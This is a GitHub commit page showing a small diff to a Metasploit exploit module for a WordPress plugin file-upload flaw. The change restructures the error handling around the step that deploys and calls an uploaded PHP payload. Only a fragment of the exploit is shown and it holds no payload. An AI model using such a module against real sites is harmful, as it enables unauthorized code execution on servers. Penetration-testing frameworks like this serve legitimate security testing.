Skip to content

Commit 10c2183

Browse files
committed
Rewrote response condition.
1 parent 2d1f8c5 commit 10c2183

File tree

1 file changed

+8
-4
lines changed

1 file changed

+8
-4
lines changed

modules/exploits/unix/webapp/wp_worktheflow_upload.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -66,11 +66,15 @@ def exploit
6666
'data' => post_data
6767
})
6868

69-
if res && res.code == 200 && res.body
70-
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
71-
register_files_for_cleanup(php_pagename)
69+
if res
70+
if res.code == 200
71+
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
72+
register_files_for_cleanup(php_pagename)
73+
else
74+
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
75+
end
7276
else
73-
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
77+
fail_with('ERROR')
7478
end
7579

7680
print_status("#{peer} - Calling payload...")

0 commit comments

Comments
 (0)